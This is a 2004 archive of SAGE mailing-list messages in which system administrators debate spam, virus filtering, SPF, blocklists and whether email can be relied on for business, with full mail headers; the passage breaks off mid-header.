Tue, 3 Feb 2004 12:20:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KK9nu025196 for sage-members-outgoing; Tue, 3 Feb 2004 12:20:09 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KK7cG025188 for ; Tue, 3 Feb 2004 12:20:07 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13KK2iL018954 for ; Tue, 3 Feb 2004 12:20:02 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 5B2502288A; Tue, 3 Feb 2004 12:20:01 -0800 (PST) Date: Tue, 3 Feb 2004 12:20:01 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203202001.GZ69255@bitshift.org> References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> <20040203193135.GS21320@darkuncle.net> <20040203200659.GV69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-Uptime: 12:19PM up 231 days, 15:29, 14 users, load averages: 0.06, 0.03, 0.01 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 03:15:11PM -0500, Mike Lambert wrote: > On Tue, 3 Feb 2004, Mark C. Langston wrote: > > > On Tue, Feb 03, 2004 at 11:31:35AM -0800, Scott Francis wrote: > > > > > > How about the benefit of dropping the load on my primary MX from 72 to 3? > > > > In that scenario, your problem is not spam: Your problem is > > inappropriate server specification. > > So we are to send extra money for server capacity and bandwidth just to > accommodate the network abuse that others refuse to deal with? > > Thank you, no. > No, to accomodate your mail load plus any processing overhead. This is news to you? -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 12:40:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KeJcH026175 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:40:19 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KeJ0F026174 for sage-members-outgoing; Tue, 3 Feb 2004 12:40:19 -0800 (PST) Received: from crusoe.degler.net (crusoe.degler.net [66.114.64.229]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KeGcH026167 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 3 Feb 2004 12:40:17 -0800 (PST) Received: from crusoe.degler.net (localhost [127.0.0.1]) by crusoe.degler.net (8.12.9p1/8.12.9) with ESMTP id i13KeEFX026188 for ; Tue, 3 Feb 2004 15:40:14 -0500 (EST) Received: (from chuck@localhost) by crusoe.degler.net (8.12.9p1/8.12.9) id i13KeEqB021698 for sage-members@usenix.org; Tue, 3 Feb 2004 15:40:14 -0500 (EST) Date: Tue, 3 Feb 2004 15:40:14 -0500 From: Chuck Yerkes To: SAGE Members Subject: [SAGE] Reliability and usefulness of email (was sad 'n spammy) Message-ID: <20040203204014.GA20369@snew.com> Reply-To: sage-members@usenix.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00,HTML_MESSAGE autolearn=ham version=2.60 X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on crusoe.degler.net Sender: owner-sage-members@usenix.org Precedence: bulk Quoting Anthony Howe (achowe@snert.com): > Jan L. Peterson wrote: > > >> She's not going to care if SPF or other solutions offend our technical > >> sensibilities as long as those solutions decrease the spam, and she > >> can still do what she did before. ^^^ > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > Imagine the phone call you get from the CEO when she gets a call from > > the CEO of a company she's been trying to do a merger with and is told > > that because she never responded to the e-mailed contract he sent her > > (which she never got because he mailed it from a local Starbucks and > > not his corporate e-mail account and it got bounced or discarded), > > he's decided to do the merger with her biggest competitor instead. > > And if you're doing this sort of high level negotiations, then you're > talking lawyers and the passing of physical documents for signing etc. > by courriers. There are other methods of communication than email and > since email doesn't have the concept of a "registered letter", then you > can't count on it being reliable these days. It's a strained analogy. "Oh, she didn't return my email, I'm canceling the deal" is pretty unlikely. The issue has become that email is NOT reliable. Odds are higher that the email was buried among 200 spams and missed in a mass delete. Far higher. Over hearing hallway talk, I heard "Oh, you're foolish to rely on email for business critical things with all the delays, viruses and spams. I spend far too much otherwise useful time just trying to FIND real email." This makes me very sad. EMail has mostly killed my voicemail (hurray!) and has let me be closer to people 1000 miles away than some people not so far away. Of course, I've used it since the early 80s too. I'll not continue about the benefits of email other than to touch on that it's become CRITICAL to businesses for passing information when used with phone and other media as backup and reinforcement At this point, Spam and Outlook Virii has become like SARS. People were afraid to be in remotely large groups through asia. Meetings and conferences cancelled. Spammers are costing billions and billions of dollars per year. 5 Fortune 100 companies I know spend half a million each on staff, extra machines, software to help combat it. Add to that a conservative 20-30 minutes per user per day dealing with it and you have some real costs in capital outlay and lost productivity. We can work around SMTP AUTH issues (webmail is an obvious one, along with VPNs). We can come up with technical hacks that break the strengths of email (being able to reach a person without voice mail mazes, without chall/resp pain, etc) - all the things that make spam easy. Me? I'd still love to see a boiler room of schemers and 20 year old geeks rounded up and given REAL prison time for pushing REAL fraud, breaking into or at least stealing use of other people's computers without their knowledge, etc. Really publicly. I'm watching two windows under this one showing mail logs passing through (gotta love fromto) and 40% is spam - easily - after filtering. From sage-members-owner@usenix.org Tue Feb 3 12:49:14 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KnEcH026700 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:49:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13KnEKi026695 for sage-members-outgoing; Tue, 3 Feb 2004 12:49:14 -0800 (PST) Received: from kira.monsoonwind.com ([198.144.196.116]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KnBcG026677 for ; Tue, 3 Feb 2004 12:49:12 -0800 (PST) Received: from hamner.monsoonwind.com (hamner.monsoonwind.com [192.168.128.2]) by kira.monsoonwind.com (8.12.10/8.12.9) with ESMTP id i13Ktc5O006431 for ; Tue, 3 Feb 2004 20:55:38 GMT Received: from ssl.monsoonwind.com (localhost [127.0.0.1]) by hamner.monsoonwind.com (8.12.9/8.12.9) with SMTP id i13Kmtvd001513 for ; Tue, 3 Feb 2004 20:48:55 GMT Received: from 192.168.128.30 (SquirrelMail authenticated user lanning); by ssl.monsoonwind.com with HTTP; Tue, 3 Feb 2004 12:48:55 -0800 (PST) Message-ID: <55811.192.168.128.30.1075841335.squirrel@192.168.128.30> In-Reply-To: <20040203193705.GT21320@darkuncle.net> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> <20040203192629.GT69255@bitshift.org> <20040203193705.GT21320@darkuncle.net> Date: Tue, 3 Feb 2004 12:48:55 -0800 (PST) Subject: Re: [SAGE] The sad and spammy state of virus filters From: "Robert Hajime Lanning" To: sage-members@usenix.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk > Our sampling populations must be drastically different. The ratio of > complaints I receive about inconvenience of email due to spam, vs. complaints > about dropped email due to spam countermeasures, is about 10 to 1. After all, > we've all had an email that didn't go through, for whatever reason (my most > recent was a vendor who failed to copy down my address correctly). We resend > the mail, and if the problem persists, users contact the helpdesk for a > workaround. This doesn't seem crippling, or cause for loss of employement, to > me. Users _expect_ malfunctions and failures in computers and networks (thank > you, Microsoft), which occasionally can be a boon rather than a bane. > > This isn't to suggest that we should use this as an excuse to introduce > avoidable failures, but rather to point out that the occasional dropped > email, or blocked email, is _rarely_ a matter of the size it has been made > out to be in this thread so far. This reminds me of the time I implemented mail-abuse.org DUL and RBL lists. It was great for about two months. Then we had a customer's CEO call our CEO and state, "So, you are going to dictate how we run our mailservers?". I was VERY lucky, I did not loose my job. I got written up. And I removed all DNS RBL references in my sendmail configs. I currently maintain an RBL by hand, with spam complaints from users. We are now looking for content scanning engines, that will filter into a side folder. Then individual users can find those false positives and report them. This is not a little company. I work for Seagate Technology. Our customer service VP drops a hammer if email is delayed more than 5 minutes. Remember, your customer is your upper management. Get them to buy in to ANY solution. Especially if there are known side effects. If they buy in, then it can be a top down push to get end user acceptance of the stated side effects. I know that, if I brought up the SPF solution, with the known issues, it would be flat out denied. No more talk on the subject. Go back to the drawing board and come up with something different. Now, using SPF as another rule in a spamassassin like product, to adjust scoring would be alot better. SPF in its current form, cannot be the white/black list. Spam is sort of a grey area. -- END OF LINE -MCP From sage-members-owner@usenix.org Tue Feb 3 12:52:02 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13Kq2cH027024 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:52:02 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Kq160027022 for sage-members-outgoing; Tue, 3 Feb 2004 12:52:01 -0800 (PST) Received: from belial.infersys.com (infersys.com [66.51.209.144]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KpxcG027012 for ; Tue, 3 Feb 2004 12:52:00 -0800 (PST) Received: from azazel.infersys.com (azazel.infersys.com [172.16.1.42]) by belial.infersys.com (Postfix) with ESMTP id D93A51004DD; Tue, 3 Feb 2004 12:51:58 -0800 (PST) Received: by azazel.infersys.com (Postfix, from userid 10001) id A18786CC0A9; Tue, 3 Feb 2004 12:51:58 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16416.2539.457285.889738@azazel.infersys.com> Date: Tue, 3 Feb 2004 12:51:55 -0800 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: <20040203192629.GT69255@bitshift.org> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> <20040203192629.GT69255@bitshift.org> X-Mailer: VM 7.17 under 21.4 (patch 14) "Reasonable Discussion" XEmacs Lucid From: Josh Smith X-Attribution: JBS Organization: Evil Geniuses For A Better Tomorrow Sender: owner-sage-members@usenix.org Precedence: bulk MCL> However, inconvenince leads to a perceptual, rather than technical, MCL> problem. If you repeatedly inconvenience enough people, and if you MCL> are seen as the source of the inconvenience, you will be removed to MCL> eliminate said inconvenience, if you are unwilling to eliminate the MCL> inconvenience yourself. Sure. Which inconvenience are youu talking about here -- spam, or spam countermeasures? I think it's equally true for both. If you make people's stuff hard to use, and can't explain to them why you can't make their stuff easier to use, they're not going to appreciate you, whether that unappreciation manifests as a bad attitude or termination of employment. The point I keep trying to make is that both spam and anti-spam are annoying, and that our job is to figure out how to make our users as un-annoyed as possible. This might mean aggressively filtering spam (at the cost of lost e-mail or inconvenience sending mail from Istanbul); or it might mean making it super easy to send mail from anywhere at any time (at the cost of getting more spam); or it might mean explaining why this is a hard problem, why every solution has some degree of annoyance, and helping them figure out which annoyances are more tolerable. Some people would rather put up with spam, and some would rather put up with inconvenient technology to stop spam. I'm pretty sure that "everyone would rather get less spam" or "everyone would rather put up with inconvenient anti-spam tech" are both entirely false. There are trade-offs here, and I don't think there's a single point that everyone will agree is the best balance. Sorry, but you'll just have to talk to those pesky users and find out what they actually want. -Josh (irilyth@infersys.com) From sage-members-owner@usenix.org Tue Feb 3 12:52:48 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KqlcH027200 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 12:52:47 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Kqlmo027199 for sage-members-outgoing; Tue, 3 Feb 2004 12:52:47 -0800 (PST) Received: from kira.monsoonwind.com ([198.144.196.116]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13KqjcG027186 for ; Tue, 3 Feb 2004 12:52:46 -0800 (PST) Received: from hamner.monsoonwind.com (hamner.monsoonwind.com [192.168.128.2]) by kira.monsoonwind.com (8.12.10/8.12.9) with ESMTP id i13KxM5O006607 for ; Tue, 3 Feb 2004 20:59:22 GMT Received: from ssl.monsoonwind.com (localhost [127.0.0.1]) by hamner.monsoonwind.com (8.12.9/8.12.9) with SMTP id i13Kqdvd001551 for ; Tue, 3 Feb 2004 20:52:39 GMT Received: from 192.168.128.30 (SquirrelMail authenticated user lanning); by ssl.monsoonwind.com with HTTP; Tue, 3 Feb 2004 12:52:39 -0800 (PST) Message-ID: <55824.192.168.128.30.1075841559.squirrel@192.168.128.30> In-Reply-To: <20040203194655.GV21320@darkuncle.net> References: <401FD8FD.8000309@snert.com> <20040203185605.GP69255@bitshift.org> <20040203194655.GV21320@darkuncle.net> Date: Tue, 3 Feb 2004 12:52:39 -0800 (PST) Subject: Re: [SAGE] Jan L. Peterson wrote: From: "Robert Hajime Lanning" To: "SAGE Members" Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk > When users want something _really_ reliable, they pick up the phone. I know I > do. That is, until you move to VoIP. :) E911 is a BIG issue. -- END OF LINE -MCP From sage-members-owner@usenix.org Tue Feb 3 13:46:38 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13LkbcH029128 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 13:46:38 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13Lkb2w029127 for sage-members-outgoing; Tue, 3 Feb 2004 13:46:37 -0800 (PST) Received: from mail.sial.org (sense-sea-MegaSub-1-583.oz.net [216.39.146.75]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13LkZcH029122 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 3 Feb 2004 13:46:36 -0800 (PST) Received: from darkness.sial.org (localhost.sial.org [IPv6:::1]) by mail.sial.org (8.12.11/8.12.11) with ESMTP id i13LkXwv074998 for ; Tue, 3 Feb 2004 13:46:33 -0800 (PST) Received: (from jmates@localhost) by darkness.sial.org (8.12.11/8.12.11/Submit) id i13LkXX0074997 for sage-members@usenix.org; Tue, 3 Feb 2004 13:46:33 -0800 (PST) Date: Tue, 3 Feb 2004 13:46:33 -0800 From: Jeremy Mates To: sage-members@usenix.org Subject: [SAGE] Re: The sad and spammy state of virus filters Message-ID: <20040203214633.GS80635@darkness.sial.org> Mail-Followup-To: sage-members@usenix.org References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> <20040203193135.GS21320@darkuncle.net> <20040203200659.GV69255@bitshift.org> <20040203202001.GZ69255@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20040203202001.GZ69255@bitshift.org> User-Agent: Mutt/1.4.1i X-Spam-Status: No, hits=0 required=5 tests= X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk * Mark C. Langston > No, to accomodate your mail load plus any processing overhead. This is > news to you? So, how does one factor in the cost of 100,000 infected Windows systems using your domain name in a spam run or a new malware? How many sites could actually afford to ride out such an attack? From sage-members-owner@usenix.org Tue Feb 3 13:49:23 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13LnMcH029387 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 13:49:23 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13LnM9A029386 for sage-members-outgoing; Tue, 3 Feb 2004 13:49:22 -0800 (PST) Received: from gris.jeol.com (gris.jeol.com [192.160.103.77]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13LnKcH029373 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 13:49:21 -0800 (PST) Received: from bosch.jeol.com (bosch.jeol.com [192.160.103.90]) by gris.jeol.com (8.12.6p3/8.12.6) with ESMTP id i13LnJYS083100 for ; Tue, 3 Feb 2004 16:49:19 -0500 (EST) (envelope-from lambert@jeol.com) Date: Tue, 3 Feb 2004 16:49:20 -0500 (EST) From: Mike Lambert To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-Reply-To: <20040203202001.GZ69255@bitshift.org> Message-ID: References: <20040203013636.GJ29385@darkuncle.net> <20040203020321.GG69255@bitshift.org> <20040203190229.GQ21320@darkuncle.net> <20040203193100.GU69255@bitshift.org> <20040203193135.GS21320@darkuncle.net> <20040203200659.GV69255@bitshift.org> <20040203202001.GZ69255@bitshift.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, 3 Feb 2004, Mark C. Langston wrote: > On Tue, Feb 03, 2004 at 03:15:11PM -0500, Mike Lambert wrote: > > On Tue, 3 Feb 2004, Mark C. Langston wrote: > > > > > On Tue, Feb 03, 2004 at 11:31:35AM -0800, Scott Francis wrote: > > > > > > > > How about the benefit of dropping the load on my primary MX from 72 to 3? > > > > > > In that scenario, your problem is not spam: Your problem is > > > inappropriate server specification. > > > > So we are to send extra money for server capacity and bandwidth just to > > accommodate the network abuse that others refuse to deal with? > > > > Thank you, no. > > No, to accomodate your mail load plus any processing overhead. > This is news to you? In principal, I do not consider UBE to be a legitimate part of mail load. About two thirds of all incoming connections are from UBE sources. Ideally, I would rather not allocate 3x server capacity and bandwidth in order to process UBE. Very few resources are required for a 5xx rejection before DATA. A router ACL would remove even that minor duty from the MX, but then I lose useful log info. Of course, principles are often overruled by reality. :-( Mike Lambert From sage-members-owner@usenix.org Tue Feb 3 13:49:45 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13LnicH029492 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 13:49:45 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13LnicT029487 for sage-members-outgoing; Tue, 3 Feb 2004 13:49:44 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13LngcG029454 for ; Tue, 3 Feb 2004 13:49:43 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i13LnbiL016406 for ; Tue, 3 Feb 2004 13:49:37 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 569A22288A; Tue, 3 Feb 2004 13:49:37 -0800 (PST) Date: Tue, 3 Feb 2004 13:49:37 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040203214937.GC69255@bitshift.org> References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> <16415.51443.701213.960605@azazel.infersys.com> <20040203163835.GJ69255@bitshift.org> <16415.62420.112786.920931@azazel.infersys.com> <20040203192629.GT69255@bitshift.org> <16416.2539.457285.889738@azazel.infersys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <16416.2539.457285.889738@azazel.infersys.com> User-Agent: Mutt/1.4.1i X-Uptime: 1:43PM up 231 days, 16:52, 14 users, load averages: 0.00, 0.01, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Tue, Feb 03, 2004 at 12:51:55PM -0800, Josh Smith wrote: > Sorry, but you'll just have > to talk to those pesky users and find out what they actually want. > Which was, in fact, my point. (Aside: It would seem we (the collective we, not just Josh and me) have started going round in circles, covering the same points time and again. That's a signal to me that it's time to bow out of the discussion, with the understanding that we agree to disagree. If anyone has anything new to add, I'd welcome it, but otherwise, it would seem we're more or less at loggerheads: There are those who want to deploy now, and those who'd rather either modify SPF to fix the current problems, or find another solution -- either way, we'd prefer it be vetted via the standards process in place for this sort of thing. Me? I'm going to go either dig up info on, or empirically test to discover, the limits on TXT record length, and number of TXT records permitted per A record. That will determine ultimately the success or failure of any SPF deployment. That, and how quickly people feel like digging up DNS cache poisoning attacks to sidestep SPF records.) -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Tue Feb 3 14:29:10 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTAcH001295 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:10 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTA3I001292 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:10 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MT6cH001275 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:07 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxm045168; Tue, 3 Feb 2004 17:28:56 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: <20040203152759.280DDA8A62@lucy.corp.lumeta.com> Date: Tue, 3 Feb 2004 22:38:02 +0100 To: John Rowan Littell From: Brad Knowles Subject: RE: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 10:54 AM -0500 2004/02/03, John Rowan Littell wrote: > Er, this *is* a bit of a digression, but think about this for a > moment. Do you seriously expect that any CEO would be relying on > non-paper forms of communication for such important legal business as > merger contracts? You would be amazed. My wife has been a senior lawyer involved in securities-related areas for many years, and in her earlier career worked with a lot of Wall Street law firms that specialized in large quantities of M&A work. You would be amazed at how much work and traffic even the lawyers do over surprisingly public channels, not even bothering to encrypt it. > While I acknowledge that there are important > communications that happen over e-mail, I'd be quite surprised if > discussions of such importance occurred only in that medium. My wife and her company are considerably more conscientious about this sort of thing. They have to be, since they have hundreds of billions of euro of daily turnover, and over ten trillion euros of assets under management. But that's what you'd expect from the leading equity settlement organization in Europe, responsible for all stock and bond trades on the London Stock Exchange, as well as Paris, Brussels, and Amsterdam, in addition to all their other activity. Funny thing, that she was telling me the other night that their anti-virus scanning software won't allow them to send encrypted attachments via e-mail, but their security officer requires them to send sensitive messages in encrypted form. Sometimes I wish there weren't nepotism issues and I could be a senior person in their support group, so that I could fix silly problems like this. > I think this points out one of the assumptions underlying this > argument: that e-mail is, at our current state, a non-critical, > non-verified, and non-guaranteed form of communication. A CEO may not > understand "e-mail server won't allow you to technobabble", but even > the average user will understand "this is not FedEx overnight > certified." Sadly, many, many users don't get this. No matter how many times you tell them that it's like sending a postcard and there are no federal mail-tampering laws to deal with this sort of problem, they still don't get it. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:13 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTCcH001321 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:13 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTCoD001318 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:12 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MT6cH001285 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:11 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i13MSaxo045168; Tue, 3 Feb 2004 17:29:00 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <1075826960.401fd110350aa@mail.tbcs.co.uk> References: <20040203013552.GI29385@darkuncle.net> <20040203063414.E78C6C50D1@aurora.peterson.ath.cx> <1075826960.401fd110350aa@mail.tbcs.co.uk> Date: Tue, 3 Feb 2004 22:53:33 +0100 To: Mick Sheppard From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 4:49 PM +0000 2004/02/03, Mick Sheppard wrote: > The > mobile user argument against SPF is one that can be worked around by any > business with a clued person. I am living proof of that. That's truly wonderful. I'm glad that you've been able to solve these problems for yourself. In fact, as a new P900 user myself, I'm going to want to talk to you in more detail about the specifics of just how you've done that. However, the fact that you've done this for yourself, and that you go into this matter in such detail, is proof that you are precisely *not* the target audience in question. You are most definitely the exception, not the rule. > Many of the arguments against SPF are specious at best. The coffee >shop CEO is > a case in point. Sending confidential business documents in the clear without > authentication, how could you trust the content anyway? Unless you have direct personal omniscient experience of all CEOs world-wide and can prove, beyond a shadow of a doubt as to how they do not act at all times, you would be well advised not to make sweeping statements of this sort. All it takes to blow your arguments out of the water is someone who has a single counter-experience, perhaps someone married to a senior lawyer and who has direct knowledge of situations that would make the most experienced technologist blanch. > I don't have a particular drum to bang for one method or another. I > just want a solution that works. One that allows me to prevent > inappropriate email being delivered to my children but doesn't lose > important email for me. That's what we all want. Unfortunately, SPF ain't it. > I don't see this being done by the IETF, We are trying to work on it, as best we can. Our efforts would be made a lot easier if there weren't so many cowboys willing to casually throw around thermonuclear methods that don't leave anything of value behind. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Tue Feb 3 14:29:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTEcH001335 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 3 Feb 2004 14:29:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i13MTEIb001330 for sage-members-outgoing; Tue, 3 Feb 2004 14:29:14 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i13MTBcH001308 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 3 Feb 2004 14:29:12 -0800 (PST) Received: from [10.0.1.3] (localhost.his.com 